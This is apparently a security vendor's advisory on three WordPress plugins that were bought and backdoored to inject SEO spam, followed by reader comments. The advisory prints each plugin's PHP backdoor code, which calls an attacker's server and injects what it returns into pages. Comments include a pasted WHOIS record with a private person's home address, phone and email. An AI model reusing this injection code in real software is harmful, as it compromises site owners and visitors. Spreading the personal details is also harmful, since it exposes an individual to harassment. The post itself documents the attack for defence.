Three Plugins Backdoored in Supply Chain Attack

In the last two weeks, the WordPress.org repository has closed three plugins because they contained content-injection backdoors. “Closing” a plugin means that it is no longer available for download from the repository, and will not show up in WordPress.org search results. Each of them had been purchased in the previous six months as part of the same supply chain attack, with the goal of injecting SEO spam into the sites running the plugins.

What We Know About the Plugins

Duplicate Page and Post

URL: https://wordpress.org/plugins/duplicate-page-and-post/
Active Installs: 50,000+
Current Owner: pluginsforwp (joined WordPress.org July 10, 2017)
Sold Date: August 2017
Removed from WordPress.org date: December 14, 2017

The original plugin author responded to our request for information on the sale of the plugin, confirming that they did indeed sell the plugin to a person named Daley Tias in the summer of 2017. However, we were unable to find any record of a person name Daley Tias online. The original plugin author has not shared the purchase solicitation message with us at the time of this writing.

The Backdoor Code
This content injection backdoor first appeared in version 2.1.0 (released 4 months ago). The snippet below shows an updated version of the same malware, found in version 2.1.1.

$request_url = 'https://cloud-wp.org/api/v1/update?url=' . urlencode($url) . '&ip=' . urlencode($ip) . '&user_agent=' . urlencode($user_agent);
$response = wp_remote_get($request_url, array('timeout' => 2));

$this->data = new stdClass();
$this->data->content = null;
$this->data->confirm = null;
$this->data->contact = null;

if (!$response instanceof WP_Error && $response['body']) {
	$data = json_decode($response['body']);
	if (null !== $data) {
		$content_position = $data->version;
		if ('1' == $content_position) {
			$this->data->confirm = $data->data;
			if (!$output_buffer) {
				$this->data->content = $data->data;
			}
		} elseif ('2' == $content_position) {
			$this->data->content = $data->data;
		} else {
			$this->data->contact = $data->data;
		}
	}
}

The backdoor makes a request to cloud-wp.org and will return content based on the URL and user agent passed in the query string. This code runs on every request to the site, so it can be used to inject content to normal site visitors, web crawlers, or the site administrators. We’ve seen content injection in the past, and it’s typically used to inject cloaked backlinks, a form of SEO spam.

No Follow All External Links

URL: https://wordpress.org/plugins/nofollow-all-external-links/
Active Installs: 9,000+
Current Owner: gearpressstudio (joined WordPress.org March 17, 2017)
Sold Date: April 2017
Removed from WordPress.org date: December 19, 2017

The original plugin author shared the original purchase solicitation with us:

Hi [redacted] and team, I hope my email finds you well.

My name is Leon, I’m a facilitator who is given budgets by companies to acquire just about anything.

The client I have at the moment, is looking for a lucrative exchange with developers of modules / extensions, themes and plugins for Joomla, Drupal or WordPress.

My client is looking to purchase existing unsupported plugins which can be easily updated by his team, in order to boost their developer profile and online presence. I notice you have a number of great plugins and my client would be interested in a deal on either, or both of these for the right price:

https://en-gb.wordpress.org/plugins/google-analytics-track-outbound-links/
https://wordpress.org/plugins/nofollow-all-external-links/

Let me know whether this is of any interest to you.

Kind Regards,
Leon Goodman

There are a number of people named Leon Goodman online, but none seemed to match the profile of someone who would be interested in buying a WordPress plugin.

A company called Orb Online in West Sussex, UK made the payment for the plugin. A quick Google search leads us to their website: “Orb Online is a UK based digital marketing agency, specialising in SEO, eCommerce and Magento web development.”

The Backdoor Code
This content-injection backdoor first appeared in version 2.1.0 (released 8 months ago).

if (self::$data['report'] && self::$advancedSettings['improvement'] = 1) {
	$requestUrl = 'https://cloud.wpserve.org/api/v1/update?&url=' . urlencode('http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']) . '&agent=' . urlencode($_SERVER['HTTP_USER_AGENT']) . '&ip=' . urlencode($_SERVER['SERVER_ADDR']);
	$response = wp_remote_get($requestUrl, ['timeout' => 2]);
	if (!$response instanceof WP_Error) {
		self::$data['response'] = json_decode($response['body']);
	}
}

add_filter('the_content', ['noFollowAllExternalLinks', 'interceptContent']);

Similarly to Duplicate Page and Post, this backdoor makes a request to cloud.wpserve.org and returns content based on the URL and user agent passed in the query string. Content injection looks to be bound to a setting in the plugin called “Improvement scheme” which is enabled by default. Disabling the setting doesn’t actually turn off the injection since the code in the if statement is setting the value instead of comparing it to 1. The code verifies that the user agent matches a web crawler (like Googlebot), so it looks like this backdoor is used for SEO by injecting backlinks onto the page.

WP No External Links

URL: https://wordpress.org/plugins/wp-noexternallinks/
Active Installs: 30,000+
Current Owner: steamerdevelopment (joined WordPress.org June 29, 2017)
Sold Date: July 12, 2017
Removed from WordPress.org date: December 22, 2017 (we’re assuming this based on the date of the last update note, from a member of the WordPress.org plugins team)

The original plugin author was very helpful, providing the original purchase solicitation he received:

Hi Jehy, I hope my email finds you well.

My name is Daley, I’m a purchaser and I’m contacting you on behalf of my client.

My client is looking to purchase existing WordPress plugins, even unsupported ones, which can be easily updated by his team of developers in order to boost his developer profile and online presence.

They would be interested in purchasing any plugins you have developed, or currently own. In particular they may be interested in this one https://wordpress.org/plugins/wp-noexternallinks/

Let me know whether this is of any interest to you.

Kind Regards,
Daley Tias

This correspondence is very similar to the message that the author of the No Follow All External Links plugin received above. While the two messages do not match word for word, they appear very likely to be slight variations from the same template.

The same person (or alias), Daley Tias, purchased both the Duplication Page and Post and WP No External Links plugins. Payment was received from Orb Online, with contact email address of info@orbonline.co.uk. This is also the same company that paid for the No Follow All External Links plugin.

The Backdoor Code
This content injection backdoor first appeared in version 4.2.1 (released 4 months ago).

if ($this->data->report) {
	$request_url = 'https://wpconnect.org/api/v1/update?&url=' . urlencode($this->data->url) . '&ip=' . urlencode($this->data->ip) . '&user_agent=' . urlencode($this->data->user_agent);
	$response = wp_remote_get($request_url, array('timeout' => 2));

	if (!$response instanceof WP_Error && $response['body']) {
		$data = json_decode($response['body']);
		$content_position = $data->version;
		if ('1' == $content_position) {
			$this->data->buffer = $data->data;
			if ('all' !== $this->options->mask_links) {
				$this->data->before = $data->data;
			}
		} elseif ('2' == $content_position) {
			$this->data->before = $data->data;
		} else {
			$this->data->after = $data->data;
		}
	}
}

In the same manner as the previous two backdoors, this one makes a request to wpconnect.org and returns content based on the URL and user agent passed in the query string. The code verifies that the user agent matches a web crawler, so, again, it looks like this backdoor is used for SEO by injecting backlinks onto the page.

Wpconnect.org resolves to the same IP as cloud-wp.org, 52.14.28.183, the API endpoint used in the Duplicate Page and Post backdoor.

Conclusion and Recommendations

We know that someone with the name or alias Daley Tias purchased WP No External Links and Duplicate Page and Post. We also know that the backdoor code for both plugins call an API endpoint hosted on the same IP. The same company, Orb Online, paid for both the No Follow External Links and Duplicate Page and Posts plugins. Additionally, the purchase solicitation for No Follow All External Links was written from the same template used to solicit the purchase of WP No External Links. All three plugins were purchased by a WordPress.org user that was created within a month of the purchase. Furthermore, the backdoor code used in all three plugins is very similar.

Based on this evidence, we are confident that the same criminal actor was responsible purchasing and adding backdoors to all three of these plugins with the goal of injecting SEO spam into the thousands of websites running the plugins. It is not too much of a stretch to assume that Orb Online has been leveraging injected spam links to boost search engine rankings for their customers.

Supply chain attacks targeting WordPress plugins are becoming more and more popular. Wordfence lets you know when a plugin has been removed from the WordPress.org repository. As a site owner, it is incredibly important to stay on top of these, and treat removed (or closed) plugins with an abundance of caution.

If you have any of these plugins running on your site, we recommend that you remove them immediately and that you make sure that SEO spam hasn’t been injected into your site. Even though one of them, WP No External Links, has been updated to remove the backdoor, it has been closed, so it will never be updated again in the future.

To check your site, we recommend running scans with both Wordfence and Gravityscan (with the Accelerator installed).

Finally, a big thanks to the original plugin authors who provided the critical information that allowed us to connect the dots.

Did you enjoy this post? Share it!

Comments

54 Comments
  • It would be a good idea if WordFence would send an alert if a plugin is removed (or closed) from wordpress.

  • Thank you again for what you folks do, it's greatly appreciated!

  • Good Morning, Good Afternoon, or Good evening where ever you are,

    I just wanted to drop you a short note thanking you for this valuable article, and keeping us up to date about the scallywags out there trying to game the system.

    It's a never ending game of cat and mouse isn't it.

    Again, thank you for taking the time to write your article letting us know what's going on out there 'on-the-line'...

    Cheers,

    Cary

  • Thank you Defiant Mark! :)

  • Thank you for ongoing diligence.

    Please confirm that the backdoored plugin "Duplicate Page and Post" noted in today's Update is not to be confused with the "Duplicate Post" plugin version 3.2.1 (active installations One million +) which remains safe to use?

    • Thanks Barry. We have no reason to believe that there are any issues with the "Duplicate Post" plugin.

  • Thanks for this information. It will help us to keep the websites clean and safe

  • Thanks wordfence team. You have once again saved the day. Since I run your plugin i have saved all my domains from many issues including pluginns which were identified by WF as bad ones which causing IO errors. BIG THANK YOU FOR ALL YOUR WORK.

  • Great newsletters!

    Does Wordfence scan, identify and notify the admin if his website has any plugin included in the "Closed" list?
    It would be great if it could.

    Thank you very much.

  • These are unbelievably popular plugins. This is becoming scary these days. It looks like users are on the hook for many uncertainties that surround WordPress plugins?

  • Nice job guys!

    We have wordfence on all our sites, we really appreciate the great work you guys are doing.

    Thank you,

    Wil

  • Excellent sleuthing work guys. Appreciate it very much!

  • It could be great if somebody could make a special wordpress info plugin just to inform all administrators of wordpress after installing that info plugin each time admin is logged in about any further closed and missused plugins like these three.I have not seen any sort of plugin to do that task.Thank you.

    • Wordfence already includes this feature, you can read about it here.

  • Can we get the original author name that sold his Duplicate-Page-and-Post plugin listed here? I ask because there appears to be more than one plugin with similar names and having more info might help others discern the difference. There is one still listed in wordpress.org and active with almost the same name but without hyphens. Your article almost had me kneejerk delete a decent plugin until I double checked. Either way, I greatly appreciate your heads up notices about these.

    • Hi Jon, we've included the url in the post, https://wordpress.org/plugins/duplicate-page-and-post/, which includes the "slug". I hope that helps.

      • It's worth noting that wpconnect.org isn't whoisguard protected, so registrant information is publicly visible.

        Domain Name: WPCONNECT.ORG
        Registry Domain ID: D402200000002897073-LROR
        Registrar WHOIS Server: whois.meshdigital.com
        Registrar URL: http://www.domainmonster.com
        Updated Date: 2017-09-03T03:46:39Z
        Creation Date: 2017-07-04T10:08:29Z
        Registry Expiry Date: 2019-07-04T10:08:29Z
        Registrar Registration Expiration Date:
        Registrar: Mesh Digital Limited
        Registrar IANA ID: 1390
        Registrar Abuse Contact Email: abuse.contact@hosteuropegroup.com
        Registrar Abuse Contact Phone: +44.1483304030
        Reseller:
        Domain Status: ok https://icann.org/epp#ok
        Registry Registrant ID: C194727926-LROR
        Registrant Name: Jake Howard
        Registrant Organization: Jake Howard
        Registrant Street: 2 Burgage Close
        Registrant City: Kington
        Registrant State/Province: Kington
        Registrant Postal Code: HR5 3NB
        Registrant Country: GB
        Registrant Phone: +44.7743683511
        Registrant Phone Ext:
        Registrant Fax:
        Registrant Fax Ext:
        Registrant Email: jhoward98@redhatmail.org

  • You do a Great Job, Thanks!!

    Out of curiosity, do you get tired of all these notes of appreciation?

    Tracy

    • Hi Tracy, thank you, and no, notes of appreciation never get old. :-)

  • Thanks a lot for this post and the others before it, they are very informative especially when I realised I had the "No Follow All External Links" plugin in my website!

    Removed it now and running a Gravity Scan as I write!

    Could an injection of SEO spam explain the fact that my site went down the rankings for some keywords?

    • Hi Jean-Luc, you're welcome. Cloaked SEO spam links on your site could definitely hurt your search engine rankings.

  • why someone from uk does not act with criminal charges against those responsible/s. Thanks to you wp community now know who it is behind this, same like last (simillar) times or i am wrong...

  • Thank you for always sharing important stuffs. Great job!!!

  • Maybe you guys could have an accreditation and audit system for wf aproved plugins. This could come in the form of validated owners,devs. Warnings or recently sold and in audited plugins. Warnings for non responsive devs and old plugins.
    And levels of acreditation for super devs.
    Tough job I am sure but it could keep peoples trust in check.

  • After 20 years doing systems integration, and now out of the loop, I find your due diligence and tenacity to provide this service to be the best find of the 21st century! Thx so much for all you’re doing for your customers.

    • Thanks Ginger!

  • Hi Guy's,

    Great work! I'm not far from this Pr*Cks office so will pay a visit.

  • Great job guys as usual.

    However, it is worrying that this does seem to be happening all too frequently. It's also concerning that it's falling on 3rd parties to point out backdoor insertions in plugins held on the WordPress directory.

    Where's the WordPress team? What systems are they implementing to stop this from happening again? Looks from an outside perspective like they're fast asleep. And that's not good for user confidence.

  • Here is a picture of their so-called office. http://ow.ly/i/1u82E/original

  • HERE IS THEIR FACEBOOK PAGE https://www.facebook.com/OrbOnline/

  • Orb Online's website has an address (84 Broadwater St W, Worthing, West Sussex), I Google Map it and apparently it is a Parish on that address.

    I am including the address above as it is publicly shown on the footer of their web address.

  • Yet another amazing job! Thank you!

  • You guys are great. Thank you for working closely with Wordpress to remove plugins like these and then telling us about your progress in shutting down programs like these.

  • Thanks to you fir your hard work and to Grayson Bell for pointing it out too. I am such an amateur when it comes to these issues. So glad to have dilligent people like you. Thanks

  • Always appreciate these vital warnings. Thanks again.

  • I think the response from WordPress is actually bad for the ecosystem because the affected plugins remain on user systems instead of being fixed with a simple update. A better approach IMHO would be to take over the repositories and distribute clean versions of the affected plugins through a new version + sue orbonline.co.uk for damages

  • Maybe it's time for "international" cyber crimes to go get this guy.

  • Thanks for sharing this and spreading the word. I didn't use any of these, but I did have a client using the "No Follow All External Links" plugin, so I popped them a message and got rid of that nonsense for them fast, which of course made them happy and made me look awesome ;)

  • Well done guys. We rely on wordfence to protect us, but I never expected digging into plugin code to identify malicious plugin would be included.
    Just a great service. Thanks!

  • Good job tying the perps to that mess and explaining their process. More need to be called out in public like that so we can avoid them, and possibly stop them from doing it again.

  • Thanks to the Wordfence team for keeping the WordPress ecosystem safer. Great work.

  • Thankyou, thankyou, thankyou.

  • So, after someone decided to sell their software. A nice feature would be to push a last update service message towards all active installed instances. Like version update xx.9999 you could then also include the new owner contact information.

  • Thanks for posting this-- great find on the backdoors. You should have a directory of companies that try to buy old plugins and pull this sort of scam. We'll share it on our social media.

  • Great info, I actually had one of the 3 troubled plugins on one of my customers's sites. I immediately removed it, cleaned up afterwards, ran a wordfence scan just to make sure all is ok.

    Thank you very much, your work is a life saver !

  • My suggestion is that we all donate/give $5 a year to every free plugin we use. or to the top 5 plugins we use, or to those with less support, that don't have a paid plugin version to help the author's make money. If someone like WordFence put this idea out there in a big way - maybe there would be some support. If plugin authors made money off their plugins - then there would be less likelihood of selling the plugins to those who might be "bad actors." Also, I wish that the WordPress plugin repository sent out an automated note when a plugin is sold. "plugin is under new management as of x date." Thanks to Wordfence folks for the work they do

  • Cheers for the heads up guys really appreciate your hard work. This seems to be happening a lot of late too!

  • Thanks so much for this. I'm using the more popular Duplicate Post plugin on most client sites, so this gave me quite a shock!

    Question - in a case like this, does deleting the offending plugin fix the issue and remove the malicious injected code?

    Thanks again.

    • Hi Jesse,

      Yes, deleting it does remove the code and fix the issue!

  • Hi, I just noticed the following comment on the WP No External Links Plugin section of the article:

    "Even though one of them, WP No External Links, has been updated to remove the backdoor, it has been closed, so it will never be updated again in the future."

    Was this the latest 4.3 update that was done right before it was turfed from WP.org? And if so, is 4.3 safe to use? Thanks.

    • Hello VM, here's a link to the last revision in which WordPress's own Otto removed the malicious code. https://plugins.trac.wordpress.org/log/wp-noexternallinks We think it should be safe to use, but ultimately that's your judgment call to make. Hope that helps!

  • Thank you let us know, may of plugins on WordPress are outdated. The developers failed to update it, it may lead to malfunction or even breaking a site. Thanks again